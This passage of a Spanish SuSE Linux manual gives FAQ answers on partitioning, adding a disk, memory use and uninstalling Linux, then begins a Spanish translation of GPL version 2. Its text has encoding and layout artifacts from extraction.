  33623. y servidor WWW. ┐El soporte de instalaci≤n me ayuda con la configu-
  33624. raci≤n?
  33625.  
  33626. No.
  33627.  
  33628. El soporte de instalaci≤n (ver anexo H en la pßgina 541Soporte y servicios
  33629. de SuSE      GmbH appendix.H) ayuda con el fin de poner en marcha la com-
  33630. putadora.  Para los temas que no estßn cubiertos por el soporte de instalaci≤n
  33631. existen buenos libros y ademßs, se puede encontrar documentaci≤n excelente
  33632. en /usr/doc/packages y /usr/doc/howto/en/NET3-4HOWTO.gz
  33633.  
  33634. Respecto a masquerading vΘase el apartado 6.7 en la pßgina 201Masquerad-
  33635. ing y Firewall ~ amigos y ''amiguetes''section.6.7.
  33636.  
  33637.  
  33638.  
  33639. ┐Mi hardware estß soportado?
  33640.  
  33641. Lo mejor es consultar el banco de datos de componentes en http://cdb.
  33642. suse.de.
  33643.  
  33644. TambiΘn se puede conseguir informaci≤n con el comando
  33645. less  /usr/doc/howto/en/Hardware-HOWTO.gz                                    .
  33646.  
  33647.  
  33648.  
  33649. ┐C≤mo se puede defragmentar el disco duro?
  33650.  
  33651. Linux  tiene  un  sistema  de  ficheros  inteligente,  que  no  necesita  defrag-
  33652. mentaci≤n, ya que prßcticamente no se fragmenta.  Vigile solamente que las
  33653. particiones no se ocupen mßs del 90% (df  -h    ).
  33654.  
  33655.  
  33656.  
  33657. He leφdo algo sobre ''particiones''. ┐De quΘ se trata?
  33658.  
  33659. Bajo el verbo ''particionar'' se entiende la divisi≤n del disco duro en partes.
  33660. Windows se encuentra en una partici≤n propia.  SuSE      Linux necesita en la
  33661. configuraci≤n estßndar 3 particiones (una para los ficheros de arranque, una
  33662. para Linux mismo y la tercera para una partici≤n de intercambio (swap)).
  33663.  
  33664. Puede  encontrar  mßs  informaci≤n  en  el  capφtulo  capφtulo  19  en  la  pßgi-
  33665. na 467Introducci≤n a Linuxchapter.19.
  33666.  
  33667.  
  33668.  
  33669.                                                                                                                                    *
  33670.  *   527
  33671. F.  Las SuSE      Linux-FAQ________________________________________________________________________________________________________*
  33672.  *_______________________________________@
  33673.  
  33674.  
  33675.  
  33676.                            ┐Tengo que borrar Windows para usar Linux?
  33677.                            No. Linux solo necesita espacio libre en el disco duro.
  33678.  
  33679.                            Ejecute  bajo  Windows  el  programa  defrag       y  use  despuΘs  el  programa
  33680.                            fips  del primer CD de SuSE      Linux,  que se encuentra en el directorio \do-
  33681.                            sutils\fips\fips20.    Este  programa  permite  achicar  la  partici≤n  de
  33682.                            Windows  con  el  fin  de  hacer  espacio  para  Linux.   íHaga  con  anterioridad
  33683.                            un  respaldo  de  sus  datos  y  lea  el  Readme  de  fips !   Consulte  las  instruc-
  33684.                            ciones de instalaci≤n explφcitas en el apartado 2.1 en la pßgina 17íDirecto al
  33685.                            Θxito!section.2.1.
  33686.  
  33687.  
  33688.                            ┐Cußnto espacio necesito para Linux?
  33689.  
  33690.                            Se  puede  comenzar  con  unos  380  MB,  pero  recomendamos  alrededor  de
  33691.                            1 GB. Para instalar casi todo se necesitan mßs de 6 GB.
  33692.  
  33693.  
  33694.                            Necesito mßs espacio para Linux. ┐C≤mo se puede a±adir un nuevo disco
  33695.                            duro?
  33696.  
  33697.                            En un sistema Linux se pueden incorporar en cualquier momento discos duros
  33698.                            o particiones libres para obtener mßs espacio.
  33699.  
  33700.                            Por  ejemplo,  si  desea  tener  mßs  espacio  en  /opt,  puede  incorporar  allφ  un
  33701.                            disco duro nuevo. Se Procede de la siguiente manera:
  33702.  
  33703.                             1.   Montar disco en la computadora y arrancar Linux.
  33704.  
  33705.                             2.   Entrar al sistema como superusuario `root'.
  33706.  
  33707.                             3.   Particionar con fdisk      p. ej. como /dev/hdb1
  33708.  
  33709.                             4.   Formatear la partici≤n con mke2fs  /dev/hdb1
  33710.  
  33711.                             5.   Introducir los siguientes comandos:
  33712.                                       tierra:  #  cd  /opt
  33713.                                       tierra:/opt  #  mkdir  /opt2
  33714.                                       tierra:/opt  #  mount  /dev/hdb1  /opt2
  33715.                                       tierra:/opt  #  cp  -axv  .  /opt2
  33716.  
  33717.  
  33718.                                  De  todas  formas  compruebe  cuidadosamente  si  todos  los  datos  se  han
  33719.                                  copiado  al  nuevo  disco.   DespuΘs  puede  mover  el  directorio  antiguo  y
  33720.                                  generar un nuevo punto de montaje vacφo:
  33721.                                       tierra:/opt  #  mv  /opt  /opt.old
  33722.                                       tierra:/opt  #  mkdir  /opt
  33723.  
  33724.  
  33725.                                  Ahora se debe dar de alta en el fichero /etc/fstab la nueva partici≤n us-
  33726.                                  ando un +  Editor. Esto puede ser similar a lo indicado en el fichero F.0.1.
  33727.  
  33728.                            ________________________________________________________________________________________________________*
  33729.  *________||
  33730.                            |                                                                                                       *
  33731.  *         |
  33732.                            |    /dev/hdb1            /opt         ext2           defaults     1     2                              *
  33733.  *         |
  33734.                            |                                                                                                       *
  33735.  *         |
  33736.                            |                                                                                                       *
  33737.  *         |
  33738.                            |_______________________________________________________________________________________________________*
  33739.  *________ |
  33740.  
  33741.                                        Fichero F.0.1: Extracto de /etc/fstab         : Partici≤n adicional
  33742.  
  33743.  
  33744.                                  Ahora se deberφa parar la computadora y arrancar de nuevo.
  33745.  
  33746.  
  33747. 528
  33748.        ______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___*
  33749.  *______________________
  33750.  
  33751.  
  33752.  
  33753.  6.   Cuando la computadora se haya iniciado nuevamente, cerci≤rese usando
  33754.       el comando mount     , si /dev/hdb1 realmente estß montado bajo /opt. Si
  33755.       todo funciona correctamente se pueden quitar ahora los datos ''antiguos''
  33756.       de /opt.old:
  33757.  
  33758.            tierra:  #  cd  /
  33759.            tierra:/  #  rm  -fr  opt.old
  33760. Por equivocaci≤n compilΘ un kernel nuevo. ┐C≤mo se puede instalar otra
  33761. vez el kernel original de SuSE      Linux?
  33762.  
  33763.  
  33764. Se procede del modo indicado en el apartado 3.7.2 en la pßgina 105Configu-
  33765. raci≤n del kernel y arranquesubsection.3.7.2.
  33766.  
  33767.  
  33768.  
  33769. Mi computadora ha dejado de responder. ┐Hay alg·n peligro si se pulsa
  33770. ''Reset''?
  33771.  
  33772.  
  33773. Cuando la computadora deja de responder al teclado o al mouse, esto no sig-
  33774. nifica que estΘ completamente ''colgada''. Es posible que un programa llegue
  33775. a bloquear el teclado o el mouse, pero todos los demßs programas a·n siguen
  33776. en ejecuci≤n. Si se puede acceder a la computadora por otra vφa (red, terminal
  33777. de puerto serie), es posible entrar al sistema y finalizar (''matar'') el programa
  33778. que causa el bloqueo dando la orden killall  <Nombre_de_programa>     ______                .
  33779. En caso de no tener tal opci≤n,  intente acceder a otra consola con | ______C|trl+
  33780.  Alt   |||||||||__+ | ____|F2para  finalizar  desde  allφ  el  proceso  que  causa  problemas.   Si  la
  33781.  
  33782. computadora no reacciona a ninguna tecla, no apriete ''Reset'' antes de haber
  33783. esperado como mφnimo 10 segundos despuΘs del ·ltimo acceso al disco duro.
  33784.  
  33785.  
  33786.  
  33787. ┐Por quΘ consume Linux toda la memoria?
  33788.  
  33789.  
  33790. Para  explicar  este  efecto  lo  mejor  es  observar  la  salida  en  pantalla  de
  33791. free  -t      :
  33792.                        total       used            free    shared       buffers    cached
  33793. Mem:              127800     94312           33488     11196           22324     46104
  33794. -/+  buffers/cache:     25884         101916
  33795. Swap:            136544         832         135712
  33796. Total:           264344     95144         169200
  33797. Parece  como  si  hubiera  ''solo''  33488  KB  disponibles  (Mem/free).  Esta  es
  33798. la  cantidad  de  memoria  no  usada.   El  resto  de  memoria  que  no  estß  us-
  33799. ada  por  programas,  sirve  de  cache  de  disco;  en  este  caso  son  46104  KB
  33800. (Mem/cached).  Con shared       se especifica la memoria usada conjuntamente
  33801. por varios programas (en este caso 11196 KB).
  33802.  
  33803. La memoria libre es la cantidad que se indica en la lφnea -/+  buffers/cache
  33804. y columna free    , en este caso 101916 KB; virtualmente hay a·n alrededor de
  33805. 165 MB de memoria disponible.
  33806.  
  33807.  
  33808.  
  33809.                                                                                                                                    *
  33810.  *   529
  33811. F.  Las SuSE      Linux-FAQ________________________________________________________________________________________________________*
  33812.  *_______________________________________@
  33813.  
  33814.  
  33815.  
  33816.                            ┐Que es un mirror?  ┐Por quΘ no puedo descargar archivos desde ftp.
  33817.                            suse.com?
  33818.  
  33819.                            Como hay muchos interesados que descargan software al mismo tiempo, el
  33820.                            servidor se sobrecargarφa rßpidamente.  Para evitar esto existen muchos otros
  33821.                            servidores FTP que contienen una ''imagen espejada'' del servidor de SuSE;
  33822.                            en inglΘs se llaman Mirrors (espejos).  Lo mejor es conectarse a un Mirror
  33823.                            en las cercanφas (o sea en el mismo paφs) para obtener una conexi≤n rßpida.
  33824.                            Puede  encontrar  una  lista  de  mirrors  p. ej.  en  http://www.suse.de/de/
  33825.                            support/download/ftp/.
  33826.  
  33827.  
  33828.                            ┐QuΘ directorios son /var, /etc, /bin?
  33829.  
  33830.                            Linux ~ como cualquier Unix ~ posee un sistema de ficheros (casi) uniforme y
  33831.                            los mencionados directorios no se deben borrar ni mover. Como usuario solo
  33832.                            trabaje en /home/tux; en lugar de `tux' introduzca su nombre de usuario.
  33833.                            Puede encontrar mßs informaci≤n sobre los directorios de sistema en anexo D
  33834.                            en la pßgina 513Ficheros importantesappendix.D.
  33835.  
  33836.  
  33837.                            ┐C≤mo puedo ver, editar, mover o copiar ficheros?
  33838.  
  33839.                            El capφtulo 19 en la pßgina 467Introducci≤n a Linuxchapter.19 explica c≤mo
  33840.                            realizar esto con los comandos nativos de la lφnea de comandos. En la consola
  33841.                            de textos tambiΘn puede usar el Midnight Commander  (mc  ) mc   (un cl≤nico
  33842.                            del conocido ''Comandante Norton'').  Para usar_esta utilidad_en la superficie
  33843.                            grßfica se debe abrir una terminal (pulse |A____l|t+ |F___|2e introduzca xterm     ); en
  33844.                            la nueva ventana introduzca mc  .
  33845.  
  33846.  
  33847.                            ┐C≤mo puedo leer mis ficheros de DOS?
  33848.  
  33849.                            Ver  el  capφtulo  19.12  en  la  pßgina  486Comandos  DOS  bajo  Unix  usando
  33850.                            mtools section.19.12 del manual.
  33851.  
  33852.  
  33853.                            No encuentro ning·n fichero .exe. ┐D≤nde estßn todos los programas?
  33854.  
  33855.                            En Linux los ejecutables normalmente no llevan ninguna extensi≤n. La may-
  33856.                            orφa  de  los  programas  se  encuentran  en  los  directorios  /usr/bin  y  /usr/
  33857.                            X11R6/bin.
  33858.  
  33859.  
  33860.                            ┐C≤mo se pueden reconocer los ejecutables?
  33861.  
  33862.                            Usando  el  comando  ls  -l  /usr/bin            se  ven  en  color  rojo  todos  los  eje-
  33863.                            cutables del directorio /usr/bin.  TambiΘn se pueden ver por la ''x'' en la
  33864.                            columna izquierda (ver el apartado 19.7.1 en la pßgina 472Propiedades de los
  33865.                            ficherossubsection.19.7.1 del manual:
  33866.  
  33867.                            -rwxr-xr-x     1  root     root         64412  Jul  23  15:23  /usr/bin/ftp
  33868.  
  33869.  
  33870.                            El administrador de ficheros de KDE (kfm ) simboliza los ejecutables con una
  33871.                            rueda dentada.
  33872.  
  33873.  
  33874. 530
  33875.        ______________________________________________________________________________________________F.__Las_SuSE______Linux-FAQ___*
  33876.  *______________________
  33877.  
  33878.  
  33879.  
  33880. Quiero borrar Linux otra vez. ┐C≤mo lo hago?
  33881. Borre con fdisk      la partici≤n de Linux; puede ser necesario ejecutar fdisk
  33882.  
  33883. bajo Linux. Posteriormente arranque el sistema con un disquete de MS-DOS
  33884. e introduzca bajo DOS o Windows el comando fdisk  /mbr        .
  33885.  
  33886.  
  33887.  
  33888.                                                                                                                                    *
  33889.  *   531
  33890. F.  Las SuSE      Linux-FAQ________________________________________________________________________________________________________*
  33891.  *_______________________________________@
  33892.  
  33893. 532
  33894.  
  33895.                                                                                                      ApΘndice  G
  33896.              La   licencia   p·blica   general   GNU
  33897.  
  33898.  
  33899.  
  33900.                                                                                                                   (GPL)
  33901.  
  33902.  
  33903. Esta  traducci≤n  no  reemplaza  la  GPL  en  el  sentido  jurφdico.   Tampoco  se
  33904. trata  de  una  traducci≤n  castellana  autorizada  por  parte  de  la  Free  Software
  33905. Foundation (FSF). El original en inglΘs se puede consultar en http://www.
  33906. gnu.org.
  33907.  
  33908.  
  33909.                         LICENCIA P┌BLICA GENERAL GNU
  33910.  
  33911.                                       Versi≤n 2, Junio de 1991
  33912.  
  33913.    Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave,
  33914.                                  Cambridge, MA 02139, EEUU
  33915.  
  33916.  
  33917. Se permite a todo el mundo la copia y distribuci≤n de copias literales de este
  33918. documento de licencia, pero no se permite su modificaci≤n.
  33919.  
  33920.  
  33921.                                                 Preßmbulo
  33922.  
  33923.  
  33924. Las  licencias  que  cubren  la  mayor  parte  del  software  estßn  dise±adas  para
  33925. quitarle a usted la libertad de compartirlo y modificarlo.  Por el contrario, la
  33926. Licencia P·blica General GNU pretende garantizarle la libertad de compartir
  33927. y modificar software libre~para asegurar que el software es libre para todos
  33928. sus  usuarios.  Esta  Licencia  P·blica  General  se  aplica  a  la  mayor  parte  del
  33929. software de la Free Software Foundation y a cualquier otro programa cuyos
  33930. autores se comprometen a utilizarla.  (Alguna parte del software de la Free
  33931. Software Foundation estß cubierto por la Licencia P·blica General GNU para
  33932. Librerφas). Usted tambiΘn la puede aplicar a sus programas.
  33933.  
  33934. Cuando hablamos de software libre,  estamos refiriΘndonos a la libertad,  no
  33935. al precio. Nuestras Licencias P·blicas Generales estßn dise±adas para asegu-
  33936. rarnos de que tenga la libertad de distribuir copias de software libre (y cobrar
  33937. por ese servicio si quiere), que reciba el c≤digo fuente o que pueda conseguir-
  33938. lo si lo quiere,  que pueda modificar el software o usar fragmentos de Θl en
  33939. nuevos programas libres, y que sepa que puede hacer todas estas cosas.
  33940.  
  33941. Para proteger sus derechos necesitamos algunas restricciones que prohiban a
  33942. cualquiera negarle a usted estos derechos o pedirle que renuncie a ellos. Estas
  33943. restricciones se traducen en ciertas obligaciones que le afectan si distribuye
  33944. copias del software, o si lo modifica.
  33945.  
  33946.  
  33947.                                                                                                                                    *
  33948.  *   533
  33949. G.  La licencia p·blica_general_GNU_(GPL)__________________________________________________________________________________________*
  33950.  *_______________________________________@
  33951.  
  33952.  
  33953.  
  33954.                            Por  ejemplo,  si  distribuye  copias  de  uno  de  estos  programas,  sea  gratuita-
  33955.                            mente, o a cambio de una contraprestaci≤n, debe dar a los receptores todos los
  33956.                            derechos que tiene.  Debe asegurarse de que ellos tambiΘn reciben, o pueden
  33957.                            conseguir,  el c≤digo fuente.  Y debe mostrarles estas condiciones de forma
  33958.                            que conozcan sus derechos.
  33959.  
  33960.                            Protegemos sus derechos con la combinaci≤n de dos medidas:  (1) ponemos
  33961.                            el software bajo copyright y (2) le ofrecemos esta licencia, que le da permiso
  33962.                            legal para copiar, distribuir y/o modificar el software.
  33963.  
  33964.                            TambiΘn,  para  la  protecci≤n  de  cada  autor  y  la  nuestra  propia,  queremos
  33965.                            asegurarnos de que todo el mundo comprende que no se proporciona ninguna
  33966.                            garantφa para este software libre. Si el software es modificado por cualquiera
  33967.                            y Θste a su vez lo distribuye, queremos que sus receptores sepan que lo que
  33968.                            tienen  no  es  el  original,  de  forma  que  cualquier  problema  introducido  por
  33969.                            otros no afecte a la reputaci≤n de los autores originales.
  33970.  
  33971.                            Por  ·ltimo,  cualquier  programa  libre  estß  constantemente  amenazado  por
  33972.                            patentes  sobre  el  software.    Queremos  evitar  el  riesgo  de  que  los  redis-
  33973.                            tribuidores de un programa libre individualmente obtengan patentes, haciendo
  33974.                            el programa propietario a todos los efectos. Para prevenir esto, hemos dejado
  33975.                            claro que cualquier patente debe ser concedida para el uso libre de cualquiera,
  33976.                            o no ser concedida en absoluto.
  33977.  
  33978.                            Los tΘrminos exactos y las condiciones para la copia, distribuci≤n y modifi-
  33979.                            caci≤n se exponen a continuaci≤n.
  33980.  
  33981.  
  33982.                                                    LICENCIA P┌BLICA GENERAL GNU
  33983.  
  33984.                              T╔RMINOS Y CONDICIONES PARA LA COPIA, DISTRIBUCI╙N
  33985.                                                                    Y MODIFICACI╙N
  33986.  
  33987.  
  33988.                            0.   Esta  Licencia  se  aplica  a  cualquier  programa  u  otra  obra  que  contenga
  33989.                            un  aviso  colocado  por  el  propietario  del  copyright  diciendo  que  puede  ser
  33990.                            distribuido bajo los tΘrminos de esta Licencia P·blica General.  En adelante,
  33991.                            "Programa"se referirß a cualquier programa u obra de esta clase y ⁿna obra
  33992.                            basada en el Programa"se referirß bien al Programa o a cualquier obra deriva-
  33993.                            da de este seg·n la ley de copyright.  Esto es, una obra que contenga el pro-
  33994.                            grama o una porci≤n de este, bien en forma literal o con modificaciones y/o
  33995.                            traducido en otro lenguaje.  Por lo tanto, la traducci≤n estß incluida sin lim-
  33996.                            itaciones en el tΘrmino ÷m dificaci≤n". Cada propietario de una licencia serß
  33997.                            tratado como ⁿsted".
  33998.  
  33999.                            Cualquier otra actividad que no sea la copia, distribuci≤n o modificaci≤n no
  34000.                            estß cubierta por esta Licencia, estß fuera de su ßmbito. El acto de ejecutar el
  34001.                            Programa no estß restringido, y los resultados del Programa estßn cubiertos
  34002.                            ·nicamente si sus contenidos constituyen una obra basada en el Programa, in-
  34003.                            dependientemente de haberlo producido mediante la ejecuci≤n del programa.
  34004.                            Que esto se cumpla, depende de lo que haga el programa.
  34005.  
  34006.                            1.  Usted puede copiar y distribuir copias literales del c≤digo fuente del Pro-
  34007.                            grama,  tal  y  como  lo  recibi≤,  por  cualquier  medio,  supuesto  que  de  forma
  34008.                            adecuada y bien visible publique en cada copia un anuncio de copyright ade-
  34009.                            cuado y una renuncia de garantφa, mantenga intactos todos los anuncios que se
  34010.  
  34011.  
  34012. 534
  34013.        _________________________________________________________________G.__La_licencia_p·blica_general_GNU_(GPL)__________________*
  34014.  *______________________
  34015.  
  34016.  
  34017.  
  34018. refieran a esta Licencia y a la ausencia de garantφa, y proporcione a cualquier
  34019. otro receptor del programa una copia de esta Licencia junto con el Programa.
  34020.  
  34021. Puede cobrar un precio por el acto fφsico de transferir una copia, y puede a su
  34022. elecci≤n ofrecer garantφa a cambio de unos honorarios.
  34023.  
  34024. 2. Usted puede modificar su copia o copias del Programa o cualquier porci≤n
  34025. de Θl, formando de esta manera una obra basada en el Programa, y copiar y
  34026. distribuir esa modificaci≤n u obra bajo los tΘrminos del apartado 1 anterior,
  34027. siempre que ademßs cumpla las siguientes condiciones:
  34028.  
  34029.  a)   Debe procurar que los ficheros modificados incluyan notificaciones desta-
  34030.       cadas manifestando que los ha cambiado y la fecha de cualquier cambio.
  34031.  
  34032.  b)   Usted debe procurar que cualquier obra que distribuya o publique, que en
  34033.       todo o en parte contenga o sea derivada del Programa o de cualquier parte
  34034.       de Θl, sea licenciada como un todo, sin cargo alguno para terceras partes
  34035.       bajo los tΘrminos de esta Licencia.
  34036.  
  34037.  c)   Si  el  programa  modificado  lee  normalmente  ≤rdenes  interactivamente
  34038.       cuando al ejecutarse, debe hacer que cuando comience su ejecuci≤n para
  34039.       ese uso interactivo de la forma mßs habitual, muestre o escriba un men-
  34040.       saje que incluya un anuncio de copyright y un anuncio de que no se ofrece
  34041.       ninguna garantφa (o por el contrario que sφ se ofrece garantφa) y que los
  34042.       usuarios pueden redistribuir el programa bajo estas condiciones,  e indi-
  34043.       cando al usuario c≤mo ver una copia de esta licencia.  (Excepci≤n:  si el
  34044.       propio programa es interactivo pero normalmente no muestra ese anun-
  34045.       cio, no estß obligado a que su obra basada en el Programa muestre ning·n
  34046.       anuncio).
  34047.  
  34048. Estos requisitos se aplican a la obra modificada como un todo. Si algunas sec-
  34049. ciones claramente identificables de esa obra no estßn derivadas del Programa,
  34050. y pueden razonablemente ser consideradas como obras independientes y sep-
  34051. arados por sφ mismas, entonces esta Licencia y sus tΘrminos no se aplican a
  34052. esas partes cuando sean distribuidas como trabajos separados.  Pero cuando
  34053. distribuya  esas  mismas  secciones  como  partes  de  un  todo  que  es  una  obra
  34054. basada en el Programa, la distribuci≤n de ese todo debe cumplir los tΘrminos
  34055. de esta Licencia, cuyos permisos para otros licenciatarios se extienden al todo
  34056. completo, y por lo tanto a todas y cada una de sus partes, con independencia
  34057. de quiΘn la escribi≤.
  34058.  
  34059. Por lo tanto, no es intenci≤n de este apartado reclamar derechos u oponerse
  34060. a sus derechos sobre obras escritas enteramente por usted; sino que la inten-
  34061. ci≤n  es  ejercer  el  derecho  de  controlar  la  distribuci≤n  de  obras  derivadas  o
  34062. colectivas basadas en el Programa.
  34063.  
  34064. Ademßs,  el  simple  hecho  de  reunir  otro  trabajo  no  basado  en  el  Programa
  34065. con el Programa (o con un trabajo basado en el Programa) en un medio de
  34066. almacenamiento  o  en  un  medio  de  distribuci≤n  no  hace  que  dicho  trabajo
  34067. entre dentro del ßmbito cubierto por esta Licencia.
  34068.  
  34069. 3. Usted puede copiar y distribuir el Programa (o una obra basada en Θl, seg·n
  34070. se especifica en la Secci≤n 2) en forma de c≤digo objeto o ejecutable bajo los
  34071. tΘrminos de las Secciones 1 y 2 anteriores mientras cumpla ademßs una de las
  34072. siguientes condiciones:
  34073.  
  34074.  
  34075.                                                                                                                                    *
  34076.  *   535
  34077. G.  La licencia p·blica_general_GNU_(GPL)__________________________________________________________________________________________*
  34078.  *_______________________________________@
  34079.  
  34080.  
  34081.  
  34082.                             a)   Acompa±arlo con el c≤digo fuente completo correspondiente en formato
  34083.                                  legible para un ordenador, que debe ser distribuido bajo los tΘrminos de
  34084.                                  las Secciones 1 y 2 anteriores en un medio utilizado habitualmente para
  34085.                                  el intercambio de programas, o
  34086.  
  34087.                             b)   Acompa±arlo  con  una  oferta  por  escrito,  vßlida  durante  al  menos  tres
  34088.                                  a±os, por un coste no mayor que el de realizar fφsicamente la distribuci≤n
  34089.                                  del fuente, de proporcionar a cualquier tercera parte una copia completa
  34090.                                  en formato legible para un ordenador del c≤digo fuente correspondiente,
  34091.                                  que serß distribuido bajo las condiciones descritas en las Secciones 1 y
  34092.                                  2 anteriores, en un medio utilizado habitualmente para el intercambio de
  34093.                                  programas, o
  34094.  
  34095.                             c)   Acompa±arlo con la informaci≤n que usted recibi≤ referida al ofrecimien-
  34096.                                  to de distribuir el c≤digo fuente correspondiente. (Esta opci≤n se permite
  34097.                                  s≤lo para la distribuci≤n no comercial y s≤lo si usted recibi≤ el programa
  34098.                                  como c≤digo objeto o en formato ejecutable con una oferta de este tipo,
  34099.                                  de acuerdo con la Secci≤n b anterior).
  34100.  
  34101.                            Se entiende por c≤digo fuente de un trabajo a la forma preferida de la obra
  34102.                            para hacer modificaciones sobre este.  Para una obra ejecutable, se entiende
  34103.                            por c≤digo fuente completo todo el c≤digo fuente para todos los m≤dulos que
  34104.                            contiene, mßs cualquier fichero asociado de definici≤n de interfaces, mßs los
  34105.                            guiones utilizados para controlar la compilaci≤n e instalaci≤n del ejecutable.
  34106.                            Como excepci≤n especial el c≤digo fuente distribuido no necesita incluir nada
  34107.                            que  sea  distribuido  normalmente  (ya  sea  en  formato  fuente  o  binario)  con
  34108.                            los componentes fundamentales (compilador, kernel y similares) del sistema
  34109.                            operativo en el cual funciona el ejecutable, a no ser que el propio componente
  34110.                            acompa±e al ejecutable.
  34111.  
  34112.                            Si la distribuci≤n del ejecutable o del c≤digo objeto se realiza ofreciendo acce-
  34113.                            so a una copia desde un lugar designado, entonces se considera el ofrecimien-
  34114.                            to del acceso para copiar el c≤digo fuente del mismo lugar como distribuci≤n
  34115.                            del c≤digo fuente, incluso aunque terceras partes no estΘn obligadas a copiar
  34116.                            el fuente junto al c≤digo objeto.
  34117.  
  34118.                            4.  No puede copiar, modificar, sublicenciar o distribuir el Programa excep-
  34119.                            to como estß expresamente permitido por esta Licencia. Cualquier intento de
  34120.                            copiar, modificar sublicenciar o distribuir el Programa de otra forma es invßli-
  34121.                            do, y harß que cesen automßticamente los derechos que le proporciona esta
  34122.                            Licencia.  En cualquier caso, las partes que hayan recibido copias o derechos
  34123.                            bajo  esta  Licencia  no  verßn  sus  Licencias  calceladas,  mientras  esas  partes
  34124.                            contin·en cumpliΘndo totalmente la Licencia.
  34125.  
  34126.                            5.   No  estß  obligado  a  aceptar  esta  licencia,  ya  que  no  la  ha  firmado.   Sin
  34127.                            embargo, no hay hada mßs que le proporcione permiso para modificar o dis-
  34128.                            tribuir el Programa o sus trabajos derivados.  Estas acciones estßn prohibidas
  34129.                            por la ley si no acepta esta Licencia.  Por lo tanto,  si modifica o distribuye
  34130.                            el Programa (o cualquier trabajo basado en el Programa), estß indicando que
  34131.                            acepta esta Licencia para poder hacerlo, y todos sus tΘrminos y condiciones
  34132.                            para copiar, distribuir o modificar el Programa o trabajos basados en Θl.
  34133.  
  34134.                            6.  Cada vez que redistribuya el Programa (o cualquier trabajo basado en el
  34135.                            Programa), el receptor recibe automßticamente una licencia del licenciatario
  34136.  
  34137.  
  34138. 536
  34139.        _________________________________________________________________G.__La_licencia_p·blica_general_GNU_(GPL)__________________*
  34140.  *______________________
  34141.  
  34142.  
  34143.  
  34144. original  para  copiar,  distribuir  o  modificar  el  Programa,  de  forma  sujeta  a
  34145. estos tΘrminos y condiciones.  No puede imponer al receptor ninguna restric-
  34146. ci≤n mßs sobre el ejercicio de los derechos aquφ garantizados.  No es usted
  34147. responsable de hacer cumplir esta licencia por terceras partes.
  34148.  
  34149. 7.  Si  como  consecuencia  de  una  resoluci≤n  judicial  o  de  una  alegaci≤n  de
  34150. infracci≤n de patente o por cualquier otra raz≤n (no limitada a asuntos rela-
  34151. cionados  con  patentes)  se  le  imponen  condiciones  (ya  sea  por  mandato  ju-
  34152. dicial,  por  acuerdo  o  por  cualquier  otra  causa)  que  contradigan  las  condi-
  34153. ciones de esta Licencia, ello no le exime de cumplir las condiciones de esta
  34154. Licencia.  Si no puede realizar distribuciones de forma que se satisfagan si-
  34155. multßneamente sus obligaciones bajo esta licencia y cualquier otra obligaci≤n
  34156. pertinente entonces, como consecuencia, no puede distribuir el Programa de
  34157. ninguna forma. Por ejemplo, si una patente no permite la redistribuci≤n libre
  34158. de derechos de autor del Programa por parte de todos aquellos que reciban
  34159. copias  directa  o  indirectamente  a  travΘs  de  usted,  entonces  la  ·nica  forma
  34160. en que podrφa satisfacer tanto esa condici≤n como esta Licencia serφa evitar
  34161. completamente la distribuci≤n del Programa.
  34162.  
  34163. Si cualquier porci≤n de este apartado se considera no vßlido o imposible de
  34164. cumplir bajo cualquier circunstancia particular ha de cumplirse el resto y la
  34165. secci≤n por entero ha de cumplirse en cualquier otra circunstancia.
  34166.  
  34167. No es el prop≤sito de este apartado inducirle a infringir ninguna patente ni
  34168. ning·n otro derecho de propiedad o impugnar la validez de ninguna de dichas
  34169. reclamaciones.   Este  apartado  tiene  el  ·nico  prop≤sito  de  proteger  la  inte-
  34170. gridad del sistema de distribuci≤n de software libre, que se realiza mediante
  34171. prßcticas de licencia p·blica. Mucha gente ha hecho contribuciones generosas
  34172. a la gran variedad de software distribuido mediante ese sistema con la con-
  34173. fianza de que el sistema se aplicarß consistentemente.  Serß el autor/donante
  34174. quien decida si quiere distribuir software mediante cualquier otro sistema y
  34175. una licencia no puede imponer esa elecci≤n.
  34176.  
  34177. Este apartado pretende dejar completamente claro lo que se cree que es una
  34178. consecuencia del resto de esta Licencia.
  34179.  
  34180. 8. Si la distribuci≤n y/o uso de el Programa estß restringido en ciertos paφses,
  34181. bien por patentes o por interfaces bajo copyright, el poseedor del copyright
  34182. que  coloca  este  Programa  bajo  esta  Licencia  puede  a±adir  una  limitaci≤n
  34183. explφcita de distribuci≤n geogrßfica excluyendo esos paφses, de forma que la
  34184. distribuci≤n se permita s≤lo en o entre los paφses no excluidos de esta manera.
  34185. En ese caso, esta Licencia incorporarß la limitaci≤n como si estuviese escrita
  34186. en el cuerpo de esta Licencia.
  34187.  
  34188. 9.    La  Free  Software  Foundation  puede  publicar  versiones  revisadas  y/o
  34189. nuevas  de  la  Licencia  P·blica  General  de  tiempo  en  tiempo.   Dichas  ver-
  34190. siones nuevas serßn similares en espφritu a la presente versi≤n, pero pueden
  34191. ser diferentes en detalles para considerar nuevos problemas o situaciones.
  34192.  
  34193. Cada  versi≤n  recibe  un  n·mero  de  versi≤n  que  la  distingue  de  otras.  Si  el
  34194. Programa especifica un n·mero de versi≤n de esta Licencia que se aplica a
  34195. ella y a ⁿc alquier versi≤n posterior", tiene la opci≤n de seguir los tΘrminos y
  34196. condiciones, bien de esa versi≤n, bien de cualquier versi≤n posterior publica-
  34197. da por la Free Software Foundation. Si el Programa no especifica un n·mero
  34198.  
  34199.  
  34200.                                                                                                                                    *
  34201.  *   537
  34202. G.  La licencia p·blica_general_GNU_(GPL)__________________________________________________________________________________________*
  34203.  *_______________________________________@
  34204.  
  34205.  
  34206.  
  34207.                            de versi≤n de esta Licencia, puede escoger cualquier versi≤n publicada por la
  34208.                            Free Software Foundation.
  34209.                            10.  Si usted desea incorporar partes del Programa en otros programas libres
  34210.                            cuyas condiciones de distribuci≤n son diferentes, escriba al autor para pedirle
  34211.                            permiso.  Si el software tiene copyright de la Free Software Foundation, es-
  34212.                            criba a la Free Software Foundation:  algunas veces hacemos excepciones en
  34213.                            estos casos. Nuestra decisi≤n estarß guiada por el doble objetivo de preservar
  34214.                            la libertad de todos los derivados de nuestro software libre y promover el que
  34215.                            se comparta y reutilice el software en general.
  34216.  
  34217.  
  34218.                                                             AUSENCIA DE GARANT═A
  34219.  
  34220.  
  34221.                            YA  QUE  EL  PROGRAMA  SE  LICENCIA  LIBRE  DE  CARGAS,  NO  SE
  34222.                            OFRECE NINGUNA GARANT═A SOBRE EL PROGRAMA, HASTA LO
  34223.                            PERMITIDO POR LAS LEYES APLICABLES. EXCEPTO CUANDO SE
